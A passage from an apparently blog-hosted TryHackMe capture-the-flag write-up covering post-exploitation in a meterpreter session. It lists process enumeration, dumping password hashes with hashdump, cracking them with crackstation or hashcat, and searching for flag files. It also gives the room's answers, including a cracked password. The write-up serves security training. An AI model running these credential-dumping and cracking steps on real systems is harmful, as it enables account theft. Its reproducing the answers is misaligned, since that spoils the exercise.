-l</strong></blockquote><blockquote><strong>sessions 2</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*pNjqsqBT69lGl_S81S_dCg.png" /></figure><p>We got the meterpreter shell so now we can interactive shell to the attacker from which to explore the target machine and execute code.</p><p>Use ps command to list all the process that is running in the host system.</p><blockquote><strong>ps</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*-vOhiX9B8kQhRz0n_Rygxg.png" /></figure><p><strong>[Task 4] Cracking</strong></p><ol><li>What is the name of the non-default user?</li></ol><p>Use hashdump to dump the user credentials</p><blockquote><strong>hashdump</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*_3h2J3hExLParrfbkYCIdA.png" /></figure><p><strong>ANS: </strong>Jon</p><p><strong>2. </strong>What is the cracked password?</p><p><a href="https://crackstation.net/"><strong>https://crackstation.net/</strong></a></p><p>Use the above link to crack the password hash or else you could crack the hash using hashcat with rockyou.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*dYONn8X_YcTmrslgHIh0Dw.png" /></figure><p><strong>ANS:</strong> alqfna22</p><p><strong>[Task 5] Find flags!</strong></p><p><strong>1.</strong>Flag1?</p><p>You could Navigate and find the flags one by one or else you could search the flags using:</p><blockquote><strong>search -f flag*.txt</strong></blockquote><p>At some times you can’t find the files using the search option. If you could then go ahead and list the files. If can’t then you have to search it manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*pU11yWRMNVpprQ9CQ8cVFA.png" /></figure><p><strong>Flag1:</strong> <strong>xxxxxxxxxx</strong></p><p><strong>Flag2: xxxxxxxxxx</strong></p><p><strong>Flag3: xxxxxxxxxx</strong></p><p>I hope you got the flag.</p><p>Check out the sequel machine <a href="https://tryhackme.com/room/ice"><strong>Ice</strong></a>.</p><p><strong>Thank You!</strong></p><p><a href="https://www.linkedin.com/in/ramesh-kumar-s">https://www.linkedin.com/in/ramesh-kumar-s</a></p><blockquote><strong>!!The Only Limit is Your Imagination!!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d9e8ade89bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>